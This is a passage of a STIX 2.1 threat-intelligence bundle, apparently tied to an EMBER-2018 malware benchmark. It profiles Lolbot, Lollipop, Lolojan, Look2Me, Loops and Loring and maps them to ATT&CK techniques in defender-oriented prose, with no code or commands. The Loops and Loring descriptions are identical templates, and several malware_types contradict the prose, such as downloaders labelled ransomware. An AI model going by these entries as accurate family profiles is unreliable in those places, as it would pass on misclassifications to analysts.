      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lokibot exhibits technique T1055.012 (Process Injection: Process Hollowing (RunPE))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--969212dd-65c2-568c-9da3-a82fafef9a08",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5b8ea46-70a5-5273-94ca-0767b18b95d7",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lokibot exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a1312c33-7a62-5b47-8764-7cf8f0f9aaad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lolbot",
      "description": "Worm:Win32/Lolbot is a notorious worm and remote access trojan that achieved massive global distribution by hijacking instant messaging platforms\u2014including Skype, MSN Messenger, ICQ, and Facebook Messenger\u2014to transmit malicious social engineering lures containing weaponized links. Once a recipient opened the link, Lolbot infected the workstation, propagated itself to the victim's entire contact list, and replicated across connected USB removable storage drives using deceptive LNK shortcuts and autorun scripts. In addition to peer-to-peer transmission, Lolbot acts as a multi-purpose crimeware backdoor: it hooks web browser and system APIs to intercept online banking credentials, drops secondary cryptominers and ransomware payloads, and enlists compromised machines into distributed denial-of-service (DDoS) botnets commanded over HTTP and IRC channels. (Observed samples in benchmark: 374)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Lolbot",
        "Worm:Win32/Lolbot",
        "W32/Lolbot",
        "Trojan.Win32.Lolbot",
        "Worm.Win32.Lolbot",
        "Lolbot.A",
        "Lolbot.B"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lolbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lolbot"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6a04863b-38b3-5592-8027-397ca3944f8e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a1312c33-7a62-5b47-8764-7cf8f0f9aaad",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lolbot exhibits technique T1566.002 (Spearphishing Link)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e1bb94ab-d096-556b-9f71-17df57130367",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a1312c33-7a62-5b47-8764-7cf8f0f9aaad",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lolbot exhibits technique T1091 (Replication Through Removable Media)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0f340484-e1ec-5330-800c-2475fc04b364",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a1312c33-7a62-5b47-8764-7cf8f0f9aaad",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lolbot exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64aaf0ef-015d-55b2-ae04-ba84f72f1552",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a1312c33-7a62-5b47-8764-7cf8f0f9aaad",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lolbot exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--195e6919-44a9-5242-b0a1-8e0f66913610",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a1312c33-7a62-5b47-8764-7cf8f0f9aaad",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lolbot exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--896f6f1e-42c7-55ae-9cb8-6927e61e0a69",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a1312c33-7a62-5b47-8764-7cf8f0f9aaad",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lolbot exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a2dc0a9d-394a-5df9-8772-49d2f298f5d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a1312c33-7a62-5b47-8764-7cf8f0f9aaad",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lolbot exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b51e23af-9310-5759-81a8-94d0611f303a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a1312c33-7a62-5b47-8764-7cf8f0f9aaad",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lolbot exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--73ed1c88-56f0-5591-bdec-4a80e593700b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lollipop",
      "description": "Adware:Win32/Lollipop is a highly aggressive adware framework and Potentially Unwanted Program (PUA) that peaked in prevalence during the mid-2010s. It was designed to silently hijack web browsers, injecting intrusive advertisements, altering search results, and aggressively tracking user browsing habits to generate illicit pay-per-click revenue for its operators.<br><br><b>Understanding Lollipop Adware</b><br>To an end-user, a Lollipop infection was incredibly frustrating. Their web browsing experience was completely subverted: words on normal websites were turned into green, double-underlined hyperlinks (in-text ads), massive banner ads appeared everywhere, and their default search engine was locked to an unwanted portal. For security analysts, Lollipop was a classic example of aggressive Pay-Per-Install (PPI) monetization, utilizing rootkit-like persistence to prevent easy removal.<br><br><b>Execution and Hijacking Mechanics</b><br>Lollipop was heavily distributed via deceptive software bundlers (`T1189`) on third-party freeware sites. Upon execution, the installer used 'Dark Patterns' to bypass user consent. It dropped its payload into `C:\\Program Files` and established aggressive persistence via hidden Windows Services (`T1543.003`) and multiple Registry Run keys. It installed rogue Browser Helper Objects (BHOs) and extensions (`T1176`) to intercept all web traffic (`T1185`), injecting its advertisements directly into the DOM of the websites the user visited. Crucially, the watchdog service would immediately reinstall the browser extensions if the user attempted to delete them.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact was a severely degraded user experience, compromised browsing privacy (all searches were tracked and monetized), and wasted helpdesk resources. Incident responders would observe anomalous HTTP/HTTPS traffic to known adware affiliate networks (often routing through tracking domains). EDR logs would flag the installation of the Lollipop service and the persistent hooking of the browser processes. (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lollipop",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lollipop"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--62308b45-d391-5dcd-a015-3e788a579f4f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--73ed1c88-56f0-5591-bdec-4a80e593700b",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lollipop exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b5dac993-df14-5ed9-8079-39751e0a3ad4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--73ed1c88-56f0-5591-bdec-4a80e593700b",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lollipop exhibits technique T1176 (Browser Extensions (BHO installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb3aac67-9c37-54cd-9cea-58d6397b4131",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--73ed1c88-56f0-5591-bdec-4a80e593700b",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lollipop exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Watchdog))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3edad2bf-1263-5978-8595-b59f36dc7f65",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--73ed1c88-56f0-5591-bdec-4a80e593700b",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lollipop exhibits technique T1185 (Browser Session Hijacking (Ad injection))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4a9f6ce4-7813-56dd-8329-68ea67ba543f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lolojan",
      "description": "Trojan:Win32/Lolojan is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Lolojan</b><br>To an end-user, a Lolojan infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Lolojan is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Lolojan is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Lolojan frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Lolojan reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lolojan",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lolojan"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--88f161ca-7b21-53c5-9a02-705bcb0e5845",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4a9f6ce4-7813-56dd-8329-68ea67ba543f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lolojan exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f15b2aa-f48c-53f5-ba3d-00489b4f23d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4a9f6ce4-7813-56dd-8329-68ea67ba543f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lolojan exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--606dfec6-24a0-5ac5-86f5-e5645bfc517a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4a9f6ce4-7813-56dd-8329-68ea67ba543f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lolojan exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--55ee1eb2-f786-57bb-b97a-d303c6bc3dcb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4a9f6ce4-7813-56dd-8329-68ea67ba543f",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lolojan exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f33771cf-ffa6-5e9e-84b8-79417097d27c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4a9f6ce4-7813-56dd-8329-68ea67ba543f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lolojan exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a81c1455-6f09-5514-a89d-b360e543ad8b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Look2Me",
      "description": "<h3>Executive Summary</h3>\nLook2Me (also known as L2M) is a notoriously aggressive and persistent form of Adware and Spyware that plagued Windows systems heavily in the mid-2000s. Unlike typical browser extensions, Look2Me operates as a complex rootkit, embedding itself deeply into the Windows operating system (specifically targeting the `Winlogon` process) to forcefully display pop-up advertisements, hijack search queries, and aggressively resist removal efforts by users and standard antivirus software.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nLook2Me was primarily distributed through deceptive software bundling, drive-by downloads via exploit kits on malicious websites, and disguised as fake video codecs required to view adult content.\n\nUpon execution, Look2Me employs sophisticated rootkit tactics:\n<ul>\n<li><strong>Winlogon Injection (DLL Hooking):</strong> Its defining characteristic is injecting its malicious DLL directly into `winlogon.exe` (a critical Windows subsystem process). This ensures the adware is loaded immediately upon user login, before most security software can initialize.</li>\n<li><strong>Aggressive Self-Defense:</strong> Look2Me actively monitors the registry and file system. If a user or antivirus attempts to delete its files or registry keys (often located in `HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify`), the injected process instantly recreates them.</li>\n<li><strong>Browser Hijacking and Pop-ups:</strong> Once embedded, it constantly spawns hidden Internet Explorer instances, generates intrusive pop-up ads (often for fake antispyware), and redirects search engine traffic to affiliate-monetized domains.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile technically classified as adware, Look2Me's rootkit-level persistence and aggressive self-defense make it functionally act like a sophisticated trojan. It causes severe system instability (frequent crashing of `explorer.exe`), massive performance degradation, and creates a highly disruptive user experience.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode or Offline Removal:</strong> Due to its injection into `winlogon.exe`, standard removal attempts while Windows is running normally are almost always futile. Removal typically requires booting into Safe Mode or using an offline, bootable antivirus rescue disk.</li>\n<li><strong>Specialized Removal Tools:</strong> Standard AV often struggles with Look2Me's persistence. Specialized anti-rootkit utilities (like the historically used 'L2Mfix' or modern equivalents) are required to safely unhook the DLL from `winlogon.exe` without crashing the operating system.</li>\n<li><strong>System Re-imaging (Recommended):</strong> Given the depth of the OS hooking and the age of the malware (suggesting a severely unpatched system), a complete bare-metal wipe and OS re-installation is the most secure and reliable remediation method.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Look2Me",
        "Spyware.L2M",
        "Win32/Look2Me.Rootkit"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Look2Me",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/look2me"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c686817-75c4-5485-aa8a-4c1f50c5ce87",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a81c1455-6f09-5514-a89d-b360e543ad8b",
      "target_ref": "attack-pattern--94721101-d9aa-5afe-bf2a-f61447bdc809",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Look2Me exhibits technique T1547.004 (Boot or Logon Autostart Execution: Winlogon Helper DLL (Shell hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e1b63c97-fc81-594a-b67e-d2738e64090b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a81c1455-6f09-5514-a89d-b360e543ad8b",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Look2Me exhibits technique T1055.001 (Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--47b7b8b7-4def-547d-83ca-0e797e9e3e4f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a81c1455-6f09-5514-a89d-b360e543ad8b",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Look2Me exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--493403fa-858f-56bf-92e9-021e5718ff99",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a81c1455-6f09-5514-a89d-b360e543ad8b",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Look2Me exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--76aec5a1-c5f3-5c26-9d09-c4d0e0721dad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Loops",
      "description": "<h3>Executive Summary</h3>\nLoops is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nLoops is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Loops operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Loops ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Loops receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Loops infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Loops executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Loops frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Loops",
        "Downloader.Loops",
        "Win32/Loops"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Loops",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/loops"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e6e76da7-a648-51f2-852f-9008a5414b2c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76aec5a1-c5f3-5c26-9d09-c4d0e0721dad",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Loops exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6c0508d5-0e02-5a07-af58-5aae382ecff2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76aec5a1-c5f3-5c26-9d09-c4d0e0721dad",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Loops exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--76074df6-2ec7-5f98-b302-2189aa474b64",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76aec5a1-c5f3-5c26-9d09-c4d0e0721dad",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Loops exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8a3b078a-0188-532a-b2a2-f699c0230bda",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Loring",
      "description": "<h3>Executive Summary</h3>\nLoring is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nLoring is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Loring operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Loring ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Loring receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Loring infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Loring executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Loring frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Loring",
        "Downloader.Loring",
        "Win32/Loring"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Loring",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/loring"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c39f5742-8d64-59e0-b490-343c4ae79d32",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a3b078a-0188-532a-b2a2-f699c0230bda",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Loring exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c9435aa-d6ae-5804-8d27-65e13df491a6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a3b078a-0188-532a-b2a2-f699c0230bda",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
